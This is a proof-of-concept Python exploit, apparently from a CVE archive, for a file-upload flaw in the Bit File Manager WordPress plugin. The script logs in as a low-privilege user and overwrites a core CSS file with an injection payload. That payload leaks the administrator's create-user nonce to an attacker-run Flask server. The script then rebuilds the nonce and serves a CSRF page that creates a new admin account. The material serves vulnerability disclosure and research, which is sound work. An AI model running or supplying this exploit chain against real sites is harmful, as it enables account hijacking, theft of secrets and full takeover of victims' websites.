4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / poc.py PY
#!/usr/bin/env python3
import requests
import json
import time
import threading
import generatepayload
from bs4 import BeautifulSoup
from re import search, compile
from flask import Flask, render_template, jsonify
from base64 import b64encode

app = Flask(__name__)
nonce = str()

GSTART = ''
GEND = ''
GTRIGRAMS = []
PREV_TRIGRAMS_LEN = len(GTRIGRAMS)
NONCE_LENGTH = 10

@app.route('/leaknonce', methods=['GET'])
def leakNonce():
    return render_template('leak_nonce.html', targetBaseUrl=app.config['target'])

@app.route('/exfil/<position>/<nonce>')
def getTrigram(position, nonce):
    global GSTART, GEND, GTRIGRAMS
    print(f'[+] Leaked nonce at position "{position}" with value "{nonce}"')

    if position == 'prefix':
        GSTART = nonce
    elif position == 'suffix':
        GEND = nonce
    elif position == 'contains':
        GTRIGRAMS.append(nonce)

    return ''

@app.route('/checknonce', methods=['GET'])
def checkLeakedNonce():
    isAllLeaked = True if len(nonce) == NONCE_LENGTH else False
    return jsonify({'status': isAllLeaked})

@app.route('/csrf', methods=['GET', 'POST'])
def csrfPoc():
    return render_template('csrf.html', targetBaseUrl=app.config['target'], nonce=nonce)

class Poc:
    def __init__(self, targetBaseUrl, wordpressUsername, wordpressPassword, attackerIpAddress, attackerPort=80):
        self.wordpressUsername = wordpressUsername
        self.wordpressPassword = wordpressPassword
        self.targetBaseUrl = targetBaseUrl
        self.attackerIpAddress = attackerIpAddress
        self.attackerPort = attackerPort
        self.session = requests.Session()
        self.LOGIN_URL = f'{self.targetBaseUrl}/wp-login.php'
        self.ELFINDER_AJAX_ACTION = 'bit_fm_connector_front'
        self.READ_DIRECTORY_FILES_ELFINDER_COMMAND = 'open'
        self.READ_FILE_ELFINDER_COMMAND = 'info'
        self.UPDATE_FILE_ELFINDER_COMMAND = 'put'
        self.AJAX_ENDPOINT = f'{self.targetBaseUrl}/wp-admin/admin-ajax.php'
        self.AJAX_NONCE_SCRIPT_ELEMENT_ID = 'file-managerelfinder-script-js-extra'
        self.AJAX_NONCE_SCRIPT_ELEMENT_VARIABLE_NAME = 'fm'
        self.AJAX_NONCE_KEY_NAME = 'nonce'
        self.CSS_FILE_PATH = '/wp-includes/css/dashicons.min.css'
        self.ADMIN_NONCE_ELEMENT_NAME = '_wpnonce_create-user'

    def login(self):
        print(f'[*] Logging in as user "{self.wordpressUsername}"...')
        loginData = {
            'log': self.wordpressUsername,
            'pwd': self.wordpressPassword,
            'wp-submit': 'Log In',
            'redirect_to': f'{self.targetBaseUrl}/wp-admin/',
            'testcookie': '1'
        }

        self.session.post(self.LOGIN_URL, data=loginData)
        print(f'[+] Logged in as user "{self.wordpressUsername}"')

    def getAjaxNonce(self, fileManagerPostPath):
        print('[*] Getting a valid AJAX nonce...')
        fileManagerPostUrl = f'{self.targetBaseUrl}{fileManagerPostPath}'
        responseText = self.session.get(fileManagerPostUrl).text

        soup = BeautifulSoup(responseText, 'html.parser')
        nonceScriptElement = str(soup.find('script', {'id' : self.AJAX_NONCE_SCRIPT_ELEMENT_ID}))

        regexPattern = compile(f'var {self.AJAX_NONCE_SCRIPT_ELEMENT_VARIABLE_NAME} = (.*);')
        result = search(regexPattern, nonceScriptElement)
        if not result:
            print('[-] Unable to get a valid AJAX nonce')
            exit(0)

        parsedJsonObject = json.loads(result.group(1))
        ajaxNonce = parsedJsonObject[self.AJAX_NONCE_KEY_NAME]
        print(f'[+] Found the valid AJAX nonce: {ajaxNonce}')
        return ajaxNonce

    def getCssFileHash(self, nonce):
        print(f'[*] Getting the admin "Add New User" page CSS file hash at path "{self.CSS_FILE_PATH}" via elFinder command "{self.READ_FILE_ELFINDER_COMMAND}"...')

        cssFilePaths = ['dashicons.min.css', 'css/dashicons.min.css', 'wp-includes/css/dashicons.min.css']
        for i in range(1, 11):
            for cssFilePath in cssFilePaths:
                encodedFileHash = b64encode(cssFilePath.encode()).decode().replace('=', '')
                fileHash = f'l{i}_{encodedFileHash}'

                data = {
                    'cmd': self.READ_FILE_ELFINDER_COMMAND,
                    'targets[]': fileHash,
                    'action': self.ELFINDER_AJAX_ACTION,
                    self.AJAX_NONCE_KEY_NAME: nonce
                }

                jsonResponse = self.session.post(self.AJAX_ENDPOINT, data=data).json()
                files = jsonResponse['files']
                if len(files) == 0:
                    continue

                print(f'[+] Got the admin "Add New User" page CSS file hash. File hash: "{fileHash}"')
                return fileHash
        
        print('[-] Failed to get the admin "Add New User" page CSS file hash. Maybe it doesn\'t exist?')
        exit(0)

    def updateCssFileContent(self, nonce, cssFileHash):
        print(f'[*] Updating the admin "Add New User" page CSS file content with our CSS payload at path "{self.CSS_FILE_PATH}" via elFinder command "{self.UPDATE_FILE_ELFINDER_COMMAND}"...')        

        cssFileContent = generatepayload.generateTemplate(self.ADMIN_NONCE_ELEMENT_NAME, self.attackerIpAddress, self.attackerPort)
        data = {
            'cmd': self.UPDATE_FILE_ELFINDER_COMMAND,
            'target': cssFileHash,
            'content': cssFileContent,
            'action': self.ELFINDER_AJAX_ACTION,
            self.AJAX_NONCE_KEY_NAME: nonce
        }

        jsonResponse = self.session.post(self.AJAX_ENDPOINT, data=data).json()
        isNotUpdated = True if 'error' in jsonResponse else False
        if isNotUpdated:
            print('[-] Failed to update the admin "Add New User" page CSS file file content with our CSS payload')
            exit(0)

        print('[+] The admin "Add New User" page CSS file content has been updated with our CSS payload')
        print(f'[+] Now we can trick the victim to create a new admin WordPress user by visiting our exploit web app: "http://{self.attackerIpAddress}:{self.attackerPort}/leaknonce"')

    # from https://waituck.sg/2023/12/11/0ctf-2023-newdiary-writeup.html
    def trigramSolver(self, l, start, end):
        s = set(l)
        solved = start
        candidates = set([solved])
        while len(next(iter(candidates))) != NONCE_LENGTH:
            print(f'[*] Solving trigram... Current nonce is "{next(iter(candidates))}"')

            newCandidates = set()
            for candidate in candidates:
                lastCharacter = candidate[-2:]
                for cs in s:
                    if cs.startswith(lastCharacter):
                        newCandidate = candidate + cs[-1]
                        newCandidates.add(newCandidate)
            candidates = newCandidates
        finalCandidates = set()
        for candidate in candidates:
            if candidate.endswith(end):
                finalCandidates.add(candidate)
        
        return finalCandidates

    # listen for changes to trigrams and if trigrams don't change, 
    # it means the exfiltration is done and we can recover the nonce
    def trySolveTrigram(self):
        global GSTART, GEND, GTRIGRAMS, PREV_TRIGRAMS_LEN, nonce
        while True:
            time.sleep(1)
            try:
                currentTrigramsLength = len(GTRIGRAMS)
                if currentTrigramsLength == PREV_TRIGRAMS_LEN and currentTrigramsLength != 0:
                    nonce = self.trigramSolver(GTRIGRAMS, start=GSTART, end=GEND)
                    nonce = next(iter(nonce))
                    if len(nonce) == NONCE_LENGTH:
                        print(f'[+] Solved the correct nonce: "{nonce}"')
                        return

                    GTRIGRAMS = []
                    GSTART = ''
                    GEND = ''
                PREV_TRIGRAMS_LEN = currentTrigramsLength
            except Exception as e:
                print(e)
                pass

    def exploit(self, fileManagerPostPath):
        # 1. Login as a subscriber+ WordPress user
        # 2. Get a valid AJAX nonce via the script element ID "file-managerelfinder-script-js-extra"
        # 3. Get admin add new user's page CSS file hash (I picked "wp-includes/css/dashicons.min.css")
        # 4. Update the CSS file's content with the generated one-shot CSS injection payload
        # 5. Wait for the admin victim visit our attacker's web server's endpoint "/leaknonce"
        # 6. When the victim visited the injected CSS page, the payload will exfiltrate the nonce ("_wpnonce_create-user") that creates a new user to our attacker web server
        # 7. After exfiltrating, our attacker web server uses trigram search algorithm to find the correct nonce value
        # 8. After that, the admin victim will be redirected to our attacker web server's route "/csrf" to create a new admin WordPress user with the exfiltrated nonce
        self.login()
        ajaxNonce = self.getAjaxNonce(fileManagerPostPath)
        
        cssFileHash = self.getCssFileHash(ajaxNonce)
        self.updateCssFileContent(ajaxNonce, cssFileHash)

        thread = threading.Thread(target=self.trySolveTrigram)
        thread.start()

        # host a web server for exfiltrating the nonce
        with app.app_context():
            app.config['target'] = self.targetBaseUrl
        app.run(self.attackerIpAddress, port=self.attackerPort)

if __name__ == '__main__':
    # Description:
    # The Bit File Manager – 100% Free & Open Source File Manager and Code Editor for WordPress plugin for WordPress is vulnerable to Limited JavaScript File Upload in all versions up to, and including, 6.5.7. This is due to a lack of proper checks on allowed file types. This makes it possible for authenticated attackers, with Subscriber-level access and above, and granted permissions by an administrator, to upload .css and .js files, which could lead to Stored Cross-Site Scripting.
    # https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/file-manager/bit-file-manager-100-free-open-source-file-manager-and-code-editor-for-wordpress-657-authenticated-subscriber-limited-javascript-file-upload
    # 
    # Writeup:
    # https://siunam321.github.io/ctf/Bug-Bounty/Wordfence/how-i-found-my-first-vulnerabilities-in-6-different-wordpress-plugins-part-2/

    # change the following values
    wordpressUsername = 'wordpress_subscriber'
    wordpressPassword = 'wordpress_subscriber'
    targetBaseUrl = 'http://localhost'
    fileManagerPostPath = '/?p=7'
    attackerIpAddress = '192.168.3.203'
    attackerPort = 8000 # default port is 80

    poc = Poc(targetBaseUrl, wordpressUsername, wordpressPassword, attackerIpAddress, attackerPort)
    poc.exploit(fileManagerPostPath)